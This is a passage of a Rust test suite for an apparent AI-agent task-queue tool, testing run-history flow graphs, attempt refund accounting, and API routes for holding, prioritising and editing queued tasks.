12175 assert_eq!(f.nodes[1].key, "start");
12176 assert_eq!(
12177 f.edges[0],
12178 FlowEdge {
12179 from: "chat".to_owned(),
12180 to: "start".to_owned(),
12181 label: "queued from chat".to_owned(),
12182 attempt: AttemptCost::None,
12183 }
12184 );
12185 }
12186
12187 #[test]
12188 fn flow_has_no_chat_box_for_other_sources() {
12189 for source in [
12190 Source::Human,
12191 Source::Issue {
12192 number: 3,
12193 repo: "o/r".to_owned(),
12194 },
12195 Source::Agent {
12196 run: "20260904-014455-ab12".to_owned(),
12197 node: "implement".to_owned(),
12198 },
12199 ] {
12200 let mut t = flow_task(&[]);
12201 t.source = source;
12202 let f = flow_for(&t, &[]);
12203 assert_eq!(f.nodes[0].key, "start");
12204 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12205 assert!(f.edges.iter().all(|e| e.from != "chat"));
12206 }
12207 }
12208
12209 const FA: &str = "20260902-140501-aaaa";
12210 const FB: &str = "20260902-140502-bbbb";
12211
12212 #[test]
12213 fn flow_follows_blocked_retry_merged_to_done() {
12214 let mut t = flow_task(&[FA, FB]);
12215 t.status = TaskStatus::Done;
12216 let f = flow_for(
12217 &t,
12218 &[
12219 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12220 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12221 ],
12222 );
12223 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12224 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12225 assert_eq!(f.edges.len(), 3);
12226 assert_eq!(f.edges[0].label, "claimed");
12227 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12228 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12229 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12230 assert_eq!(
12231 f.nodes[2].href.as_deref(),
12232 Some("#/runs/20260902-140502-bbbb")
12233 );
12234 assert!(f.nodes[2].decided);
12235 }
12236
12237 #[test]
12238 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12239 let quota = || {
12240 flow_run(RunStatus::Stalled, |s| {
12241 s.quota.push(crate::run::QuotaLoss {
12242 seat: "judge-1".to_owned(),
12243 node: "judge".to_owned(),
12244 at: Timestamp::now(),
12245 reset: None,
12246 })
12247 })
12248 };
12249 let mut t = flow_task(&[FA, FA]);
12250 t.status = TaskStatus::Queued;
12251 let f = flow_for(&t, &[(FA, Some(quota()))]);
12252 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12253 assert_eq!(f.nodes[1].note, Some("interrupted"));
12254 assert_eq!(
12255 f.nodes[1].status, None,
12256 "no outcome copied onto an earlier pass"
12257 );
12258 assert_eq!(
12259 f.edges[1].attempt,
12260 AttemptCost::Unknown,
12261 "a resume does not prove the earlier pass was refunded"
12262 );
12263 assert!(f.edges[1].label.contains("resume the same run"));
12264 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12265 assert_eq!(
12266 f.edges[2].label,
12267 "stalled after a resume, refund unknown \u{2192} queued"
12268 );
12269 assert!(!f.nodes[2].decided, "a stall is not a decision");
12270 assert_eq!(f.nodes[2].note, Some("no verdict"));
12271 }
12272
12273 #[test]
12274 fn flow_single_pass_quota_stall_is_refunded() {
12275 let t = flow_task(&[FA]);
12276 let f = flow_for(
12277 &t,
12278 &[(
12279 FA,
12280 Some(flow_run(RunStatus::Stalled, |s| {
12281 s.quota.push(crate::run::QuotaLoss {
12282 seat: "judge-1".to_owned(),
12283 node: "judge".to_owned(),
12284 at: Timestamp::now(),
12285 reset: None,
12286 })
12287 })),
12288 )],
12289 );
12290 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12291 }
12292
12293 #[test]
12294 fn flow_parked_refunds_and_stall_without_quota_spends() {
12295 let mut t = flow_task(&[FA]);
12296 t.status = TaskStatus::Queued;
12297 let f = flow_for(
12298 &t,
12299 &[(
12300 FA,
12301 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12302 )],
12303 );
12304 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12305 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12306 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12307 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12308 assert!(!f.nodes[1].decided);
12309 }
12310
12311 #[test]
12312 fn flow_keeps_an_unreadable_run_as_its_own_node() {
12313 let t = flow_task(&[FA, FB]);
12314 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12315 assert_eq!(f.nodes[1].note, Some("unreadable"));
12316 assert!(!f.nodes[1].readable);
12317 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12318 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12319 }
12320
12321 #[test]
12322 fn flow_names_the_branch_of_a_review_only_run() {
12323 let t = flow_task(&[FA]);
12324 let f = flow_for(
12325 &t,
12326 &[(
12327 FA,
12328 Some(flow_run(RunStatus::Merged, |s| {
12329 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12330 })),
12331 )],
12332 );
12333 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12334 assert_eq!(
12335 f.nodes[1].detail.as_deref(),
12336 Some("review-only run of branch magi/x/A")
12337 );
12338 }
12339
12340 #[test]
12341 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12342 let mut t = flow_task(&[FA]);
12343 t.status = TaskStatus::Held;
12344 let pr = crate::run::PrRecord {
12345 url: "https://example.test/pr/1".to_owned(),
12346 number: 1,
12347 state: "open".to_owned(),
12348 checks: "green".to_owned(),
12349 round: 0,
12350 rounds: 3,
12351 red_at_merge: Vec::new(),
12352 };
12353 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12354 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12355 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12356 t.status = TaskStatus::Done;
12357 let f = flow_for(&t, &[(FA, Some(blocked))]);
12358 assert_eq!(f.edges[1].label, "closed by hand: task is done");
12359 }
12360
12361 #[test]
12362 fn flow_with_no_runs_goes_from_queued_to_queued() {
12363 let t = flow_task(&[]);
12364 let f = flow_for(&t, &[]);
12365 assert_eq!(f.nodes.len(), 2);
12366 assert_eq!(f.edges.len(), 1);
12367 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12368 assert_eq!(f.edges[0].attempt, AttemptCost::None);
12369 }
12370
12371 #[test]
12374 fn a_parked_non_terminal_run_is_explained_as_parked() {
12375 let mut s = RunState::new(
12376 PathBuf::from("/repo/magi"),
12377 "main".to_owned(),
12378 "0123456789abcdef".to_owned(),
12379 "Do it".to_owned(),
12380 Config::default(),
12381 );
12382 s.status = RunStatus::Implementing;
12383 s.parked = true;
12384 let task = Task::new(
12385 "t".to_owned(),
12386 "Do it".to_owned(),
12387 PathBuf::from("/repo/magi"),
12388 Source::Human,
12389 );
12390 let v = task_run_view(
12391 "20260902-140501-aaaa",
12392 Some(&s),
12393 RunSlot {
12394 n: 1,
12395 resumed: false,
12396 resumed_later: None,
12397 prior: None,
12398 last: true,
12399 ..RunSlot::default()
12400 },
12401 &task,
12402 );
12403 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12404 }
12405
12406 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12407 let mut s = flow_run(RunStatus::Implementing, edit);
12408 s.parked = false;
12409 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12410 task_run_view(
12411 "20260902-140501-aaaa",
12412 Some(&s),
12413 RunSlot {
12414 n: 1,
12415 resumed: false,
12416 resumed_later: Some(2),
12417 prior: None,
12418 last: false,
12419 ..RunSlot::default()
12420 },
12421 &task,
12422 )
12423 }
12424
12425 #[test]
12426 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12427 let v = earlier_pass_view(|_| {});
12428 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12429 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12430 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12431 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12432 assert_eq!(v.exit, RunExit::Interrupted);
12433 assert_eq!(v.attempt, AttemptCost::Unknown);
12434 }
12435
12436 #[test]
12437 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12438 let v = earlier_pass_view(|s| {
12439 s.quota.push(crate::run::QuotaLoss {
12440 seat: "judge-1".to_owned(),
12441 node: "judge".to_owned(),
12442 at: Timestamp::now(),
12443 reset: None,
12444 });
12445 });
12446 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12447 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12448 assert_eq!(v.attempt, AttemptCost::Unknown);
12449 }
12450
12451 #[test]
12452 fn the_current_pass_states_its_recorded_cause_and_cost() {
12453 let slot = || RunSlot {
12454 n: 1,
12455 resumed: false,
12456 resumed_later: None,
12457 prior: None,
12458 last: true,
12459 ..RunSlot::default()
12460 };
12461 let task = flow_task(&["20260902-140501-aaaa"]);
12462 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12463 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12464 assert_eq!(
12465 (v.exit, v.attempt),
12466 (RunExit::Parked, AttemptCost::Refunded)
12467 );
12468 let spent = flow_run(RunStatus::Blocked, |_| {});
12469 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12470 assert_eq!(v.attempt, AttemptCost::Spent);
12471 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12472 }
12473
12474 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12475 crate::run::RunPass {
12476 index,
12477 started_at: Timestamp::now(),
12478 resumed: index > 0,
12479 ended_at: end.as_ref().map(|_| Timestamp::now()),
12480 end,
12481 task_entry: true,
12482 }
12483 }
12484
12485 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
12486 Some(crate::run::PassEnd::Parked { cause })
12487 }
12488
12489 fn upgrade_cause() -> crate::run::ParkCause {
12490 crate::run::ParkCause::Upgrade {
12491 from: "0.121.0".to_owned(),
12492 to: Some("0.121.1".to_owned()),
12493 }
12494 }
12495
12496 fn settled_pass(
12497 run: &str,
12498 index: usize,
12499 cost: crate::queue::PassCost,
12500 ) -> crate::queue::TaskPass {
12501 crate::queue::TaskPass {
12502 run: run.to_owned(),
12503 pass_index: index,
12504 cost,
12505 attempts_after: 1,
12506 settled_at: Timestamp::now(),
12507 parked: None,
12508 }
12509 }
12510
12511 const RUN_X: &str = "20261011-223708-4334";
12512
12513 #[test]
12514 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
12515 use crate::queue::PassCost;
12516 let run = flow_run(RunStatus::Implementing, |s| {
12517 s.passes = vec![
12518 recorded_pass(0, parked(upgrade_cause())),
12519 recorded_pass(1, None),
12520 ];
12521 });
12522 let mut task = flow_task(&[RUN_X, RUN_X]);
12523 task.attempts = 1;
12524 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12525 let h = task_history(&task, |_| Some(run.clone()));
12526 assert_eq!(h.len(), 2);
12527 assert_eq!(h[0].kind, "competition");
12528 assert_eq!(h[1].kind, "resume");
12529 assert_eq!(
12530 (h[0].exit, h[0].attempt),
12531 (RunExit::Parked, AttemptCost::Refunded)
12532 );
12533 assert!(
12534 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
12535 "{}",
12536 h[0].outcome
12537 );
12538 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
12539 assert!(
12540 h[0].outcome.contains("pass #2 resumed the same run"),
12541 "{}",
12542 h[0].outcome
12543 );
12544 assert!(
12545 h[0].outcome.contains("pass 1 of 2 over run"),
12546 "{}",
12547 h[0].outcome
12548 );
12549 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12550 assert_eq!(
12551 h[0].exit_label,
12552 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
12553 );
12554 let f = task_flow(&task, &h, 2, None);
12555 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
12557 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12558 assert!(
12559 f.edges[1].label.contains("upgrade 0.121.0"),
12560 "{}",
12561 f.edges[1].label
12562 );
12563 assert!(
12564 f.edges[1].label.contains("resume the same run"),
12565 "{}",
12566 f.edges[1].label
12567 );
12568 assert_eq!(f.nodes[1].note, Some("parked"));
12569 }
12570
12571 #[test]
12572 fn an_upgrade_whose_target_was_not_known_says_so() {
12573 let run = flow_run(RunStatus::Implementing, |s| {
12574 s.passes = vec![
12575 recorded_pass(
12576 0,
12577 parked(crate::run::ParkCause::Upgrade {
12578 from: "0.121.0".to_owned(),
12579 to: None,
12580 }),
12581 ),
12582 recorded_pass(1, None),
12583 ];
12584 });
12585 let task = flow_task(&[RUN_X, RUN_X]);
12586 let h = task_history(&task, |_| Some(run.clone()));
12587 assert!(
12588 h[0].outcome.contains("upgrade from 0.121.0"),
12589 "{}",
12590 h[0].outcome
12591 );
12592 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12594 }
12595
12596 #[test]
12597 fn each_pass_keeps_its_own_cause_across_several_resumes() {
12598 use crate::queue::PassCost;
12599 use crate::run::ParkCause;
12600 let run = flow_run(RunStatus::Implementing, |s| {
12601 s.passes = vec![
12602 recorded_pass(0, parked(upgrade_cause())),
12603 recorded_pass(
12604 1,
12605 parked(ParkCause::Interrupt {
12606 reason: "task a1b2 asked to run first".to_owned(),
12607 }),
12608 ),
12609 recorded_pass(2, parked(ParkCause::Operator)),
12610 recorded_pass(3, None),
12611 ];
12612 });
12613 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
12614 task.attempts = 1;
12615 task.passes = (0..3)
12616 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
12617 .collect();
12618 let h = task_history(&task, |_| Some(run.clone()));
12619 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12620 assert!(
12621 h[1].outcome.contains("task a1b2 asked to run first"),
12622 "{}",
12623 h[1].outcome
12624 );
12625 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
12626 assert!(
12627 h[2].outcome.contains("operator asked the loop to park"),
12628 "{}",
12629 h[2].outcome
12630 );
12631 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
12632 let f = task_flow(&task, &h, 2, None);
12633 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
12634 }
12635
12636 #[test]
12637 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
12638 let run = flow_run(RunStatus::Implementing, |s| {
12639 s.passes = vec![
12640 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
12641 recorded_pass(1, None),
12642 ];
12643 });
12644 let task = flow_task(&[RUN_X, RUN_X]);
12645 let h = task_history(&task, |_| Some(run.clone()));
12646 assert_eq!(h[0].exit, RunExit::Interrupted);
12647 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12648 assert!(
12649 h[0].outcome.contains("without recording why"),
12650 "{}",
12651 h[0].outcome
12652 );
12653 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12654 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
12655 }
12656
12657 #[test]
12658 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
12659 use crate::queue::PassCost;
12660 let run = flow_run(RunStatus::Implementing, |s| {
12663 s.passes = vec![
12664 recorded_pass(0, parked(upgrade_cause())),
12665 recorded_pass(1, None),
12666 ];
12667 });
12668 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
12669 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12670 let h = task_history(&task, |_| Some(run.clone()));
12671 assert!(h[0].pass.is_none());
12672 assert_eq!(h[0].exit, RunExit::Interrupted);
12673 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12674 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12675 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12676 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
12677 let legacy = flow_run(RunStatus::Implementing, |_| {});
12679 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
12680 assert!(h.iter().all(|v| v.pass.is_none()));
12681 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12682 }
12683
12684 #[test]
12685 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
12686 use crate::queue::PassCost;
12687 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
12690 web.task_entry = false;
12691 let run = flow_run(RunStatus::Implementing, |s| {
12692 s.passes = vec![
12693 recorded_pass(0, parked(upgrade_cause())),
12694 web.clone(),
12695 recorded_pass(2, None),
12696 ];
12697 });
12698 let mut task = flow_task(&[RUN_X, RUN_X]);
12699 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12700 let h = task_history(&task, |_| Some(run.clone()));
12701 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12702 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
12703
12704 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
12707 web0.task_entry = false;
12708 let run = flow_run(RunStatus::Implementing, |s| {
12709 s.passes = vec![web0.clone(), recorded_pass(1, None)];
12710 });
12711 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
12712 assert!(h[0].pass.is_none());
12713 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12714 assert!(h[1].pass.is_some());
12715 }
12716
12717 #[tokio::test]
12718 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12719 let f = Fixture::start().await;
12720 let queue = f.queue();
12721 let mut task = Task::new(
12722 "spent".to_owned(),
12723 "Try again".to_owned(),
12724 PathBuf::from("/repo/magi"),
12725 Source::Human,
12726 );
12727 task.start("20260902-140502-bbbb".to_owned());
12728 task.fail("agent gave up", 9);
12729 queue.put(&mut task).expect("file the task");
12730
12731 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12732 assert_eq!(held.status, 200);
12733 assert_eq!(held.json()["status_str"], "held");
12734
12735 let released = f
12736 .post(&format!("/api/queue/{}/release", task.id), None)
12737 .await;
12738 assert_eq!(released.status, 200);
12739 assert_eq!(released.json()["status_str"], "queued");
12740 assert_eq!(
12741 released.json()["attempts"],
12742 0,
12743 "release is a real second chance, not an instant re-hold"
12744 );
12745 assert_eq!(
12746 queue.get(&task.id).expect("reload").status,
12747 TaskStatus::Queued,
12748 "the change is on disk, not only in the reply"
12749 );
12750 assert!(
12751 !f.home
12752 .path()
12753 .join("queue")
12754 .join(format!("{}.lock", task.id))
12755 .exists(),
12756 "the claim the mutation took is released again"
12757 );
12758 }
12759
12760 #[tokio::test]
12761 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12762 let f = Fixture::start().await;
12763 let queue = f.queue();
12764 let mut task = Task::new(
12765 "busy".to_owned(),
12766 "Running right now".to_owned(),
12767 PathBuf::from("/repo/magi"),
12768 Source::Human,
12769 );
12770 queue.put(&mut task).expect("file the task");
12771 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12772
12773 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12774
12775 assert_eq!(res.status, 409);
12776 assert_eq!(
12777 queue.get(&task.id).expect("reload").status,
12778 TaskStatus::Queued,
12779 "the refused hold changed nothing"
12780 );
12781 }
12782
12783 #[tokio::test]
12784 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12785 let f = Fixture::start().await;
12786 let queue = f.queue();
12787 let mut task = Task::new(
12788 "waiting on the migration".to_owned(),
12789 "Do the thing".to_owned(),
12790 PathBuf::from("/repo/magi"),
12791 Source::Human,
12792 );
12793 queue.put(&mut task).expect("file the task");
12794
12795 let held = f
12796 .post(
12797 &format!("/api/queue/{}/hold", task.id),
12798 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12799 )
12800 .await;
12801 assert_eq!(held.status, 200, "{}", held.body);
12802 assert_eq!(held.json()["status_str"], "held");
12803 assert_eq!(
12804 held.json()["hold_reason"],
12805 "waiting for 20260101-000000-aaaa to land"
12806 );
12807
12808 let listed = f.get("/api/queue").await.json();
12809 assert_eq!(
12810 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12811 "the card reads the reason off the same list route"
12812 );
12813
12814 let mut plain = Task::new(
12817 "no reason given".to_owned(),
12818 "Do another thing".to_owned(),
12819 PathBuf::from("/repo/magi"),
12820 Source::Human,
12821 );
12822 queue.put(&mut plain).expect("file the task");
12823 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12824 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12825 assert!(held_plain.json()["hold_reason"].is_null());
12826
12827 let released = f
12828 .post(&format!("/api/queue/{}/release", task.id), None)
12829 .await;
12830 assert_eq!(released.status, 200);
12831 assert!(
12832 released.json()["hold_reason"].is_null(),
12833 "a release must clear the reason so the next hold does not inherit it"
12834 );
12835 }
12836
12837 #[tokio::test]
12838 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12839 let f = Fixture::start().await;
12840 let queue = f.queue();
12841 let mut older = Task::new(
12842 "filed first".to_owned(),
12843 "x".to_owned(),
12844 PathBuf::from("/repo/magi"),
12845 Source::Human,
12846 );
12847 older.id = "20260101-000001-aaaa".to_owned();
12848 let mut newer = Task::new(
12849 "filed second".to_owned(),
12850 "x".to_owned(),
12851 PathBuf::from("/repo/magi"),
12852 Source::Human,
12853 );
12854 newer.id = "20260101-000002-bbbb".to_owned();
12855 queue.put(&mut older).expect("file older");
12856 queue.put(&mut newer).expect("file newer");
12857
12858 let before = f.get("/api/queue").await.json();
12861 assert_eq!(before[0]["id"], newer.id);
12862 assert_eq!(before[1]["id"], older.id);
12863
12864 let raised = f
12868 .post(
12869 &format!("/api/queue/{}/priority", older.id),
12870 Some(r#"{"priority":10}"#),
12871 )
12872 .await;
12873 assert_eq!(raised.status, 200, "{}", raised.body);
12874 assert_eq!(raised.json()["priority"], 10);
12875
12876 let after = f.get("/api/queue").await.json();
12877 let names: Vec<&str> = after
12878 .as_array()
12879 .unwrap()
12880 .iter()
12881 .map(|t| t["id"].as_str().unwrap())
12882 .collect();
12883 assert_eq!(names[0], older.id, "the raised task now sorts first");
12887 }
12888
12889 #[tokio::test]
12890 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12891 let dir = TempDir::new().unwrap();
12892 let repo = dir.path().join("repo");
12893 std::fs::create_dir(&repo).unwrap();
12894 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12895 let q = Queue::at(dir.path().join("queue"));
12896 let ui = Arc::new(Ui::new(
12897 q.clone(),
12898 Questions::at(dir.path().join("questions")),
12899 Talks::at(dir.path().join("talks")),
12900 dir.path().join("runs"),
12901 dir.path().to_path_buf(),
12902 repo.clone(),
12903 ));
12904 let mut t = Task::new(
12905 "seats".into(),
12906 "keep instruction".into(),
12907 repo,
12908 Source::Human,
12909 );
12910 t.runs.push("prior-run".into());
12911 t.hold_manual(Some("waiting".into()));
12912 q.put(&mut t).unwrap();
12913 let change = |count| {
12914 queue_implementers(
12915 State(ui.clone()),
12916 Path(t.id.clone()),
12917 Ok(Json(ImplementersBody {
12918 implementers: count,
12919 })),
12920 )
12921 };
12922 for count in [2, 1, 2] {
12923 let response = change(count).await.unwrap();
12924 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12925 let saved = q.get(&t.id).unwrap();
12926 assert_eq!(saved.implementers(), Some(usize::from(count)));
12927 assert_eq!(saved.runs, t.runs);
12928 assert_eq!(saved.instruction, t.instruction);
12929 }
12930 for count in [0, 4] {
12931 assert_eq!(
12932 change(count).await.err().unwrap().status,
12933 StatusCode::BAD_REQUEST
12934 );
12935 }
12936 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12937 let claim = q.claim(&t.id).unwrap();
12938 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12939 drop(claim);
12940 for status in [
12941 TaskStatus::Running,
12942 TaskStatus::Done,
12943 TaskStatus::Failed,
12944 TaskStatus::Blocked,
12945 TaskStatus::Parked,
12946 ] {
12947 let mut stored = q.get(&t.id).unwrap();
12948 stored.status = status;
12949 q.put(&mut stored).unwrap();
12950 assert_eq!(
12951 change(1).await.err().unwrap().status,
12952 StatusCode::BAD_REQUEST
12953 );
12954 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12955 }
12956 }
12957
12958 #[tokio::test]
12959 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12960 let f = Fixture::start().await;
12961 let queue = f.queue();
12962 let mut task = Task::new(
12963 "in flight".to_owned(),
12964 "x".to_owned(),
12965 PathBuf::from("/repo/magi"),
12966 Source::Human,
12967 );
12968 task.start("20260902-140502-bbbb".to_owned());
12969 queue.put(&mut task).expect("file the task");
12970
12971 let res = f
12972 .post(
12973 &format!("/api/queue/{}/priority", task.id),
12974 Some(r#"{"priority":9}"#),
12975 )
12976 .await;
12977 assert_eq!(res.status, 400, "{}", res.body);
12978 assert!(
12979 res.json()["error"]
12980 .as_str()
12981 .is_some_and(|e| e.contains("running")),
12982 "{}",
12983 res.body
12984 );
12985 assert_eq!(
12986 queue.get(&task.id).expect("reload").priority,
12987 0,
12988 "the refused write must not partially apply"
12989 );
12990 }
12991
12992 #[tokio::test]
12993 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12994 let f = Fixture::start().await;
12995 let queue = f.queue();
12996 let mut task = Task::new(
12997 "old title".to_owned(),
12998 "old instruction".to_owned(),
12999 PathBuf::from("/repo/magi"),
13000 Source::Agent {
13001 run: "20260101-000000-beef".to_owned(),
13002 node: "implement".to_owned(),
13003 },
13004 );
13005 task.runs.push("20260101-000000-beef".to_owned());
13006 queue.put(&mut task).expect("file the task");
13007 let created_at = task.created_at;
13008
13009 let edited = f
13010 .post(
13011 &format!("/api/queue/{}/edit", task.id),
13012 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
13013 )
13014 .await;
13015 assert_eq!(edited.status, 200, "{}", edited.body);
13016 let body = edited.json();
13017 assert_eq!(body["title"], "new title");
13018 assert_eq!(body["instruction"], "new instruction");
13019 assert_eq!(body["id"], task.id, "editing must not mint a new id");
13020 assert_eq!(body["created_at"], created_at.to_string());
13021 assert_eq!(
13022 body["source"]["kind"], "agent",
13023 "editing a task an agent filed must not turn it human: {body}"
13024 );
13025 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
13026
13027 let reloaded = queue.get(&task.id).expect("reload");
13028 assert_eq!(reloaded.title, "new title");
13029 assert_eq!(reloaded.instruction, "new instruction");
13030 }
13031
13032 #[tokio::test]
13033 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
13034 let tmp = TempDir::new().expect("tempdir");
13037 let repo = tmp.path().join("repo");
13038 std::fs::create_dir_all(&repo).expect("repo dir");
13039 let judge = MOCK_AGENT_TOML.replace(
13040 "printf ok",
13041 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
13042 );
13043 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
13044 let f = Fixture::with_repo(repo.clone()).await;
13045 let queue = f.queue();
13046 let mut owner = Task::new(
13047 "owner".to_owned(),
13048 "review it".to_owned(),
13049 repo.clone(),
13050 Source::Human,
13051 );
13052 owner.review_branch = Some("magi/ab12/A".to_owned());
13053 queue.put(&mut owner).expect("file the owner");
13054 let mut task = Task::new(
13055 "draft".to_owned(),
13056 "old".to_owned(),
13057 repo.clone(),
13058 Source::Human,
13059 );
13060 queue.put(&mut task).expect("file the draft");
13061 let url = format!("/api/queue/{}/edit", task.id);
13062
13063 let refused = f
13064 .post(
13065 &url,
13066 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
13067 )
13068 .await;
13069 assert_eq!(refused.status, 409, "{}", refused.body);
13070 let msg = refused.json()["error"]
13071 .as_str()
13072 .unwrap_or_default()
13073 .to_owned();
13074 assert!(
13075 msg.contains("magi/ab12/A") && msg.contains("force"),
13076 "{msg}"
13077 );
13078 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
13079
13080 let forced = f
13081 .post(
13082 &url,
13083 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
13084 )
13085 .await;
13086 assert_eq!(forced.status, 200, "{}", forced.body);
13087 }
13088
13089 #[tokio::test]
13090 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
13091 let f = Fixture::start().await;
13092 let queue = f.queue();
13093 let mut task = Task::new(
13094 "in flight".to_owned(),
13095 "do not touch".to_owned(),
13096 PathBuf::from("/repo/magi"),
13097 Source::Human,
13098 );
13099 task.start("20260902-140502-bbbb".to_owned());
13100 queue.put(&mut task).expect("file the task");
13101
13102 let res = f
13103 .post(
13104 &format!("/api/queue/{}/edit", task.id),
13105 Some(r#"{"title":"x","instruction":"y"}"#),
13106 )
13107 .await;
13108 assert_eq!(res.status, 400, "{}", res.body);
13109 assert!(
13110 res.json()["error"]
13111 .as_str()
13112 .is_some_and(|e| e.contains("running")),
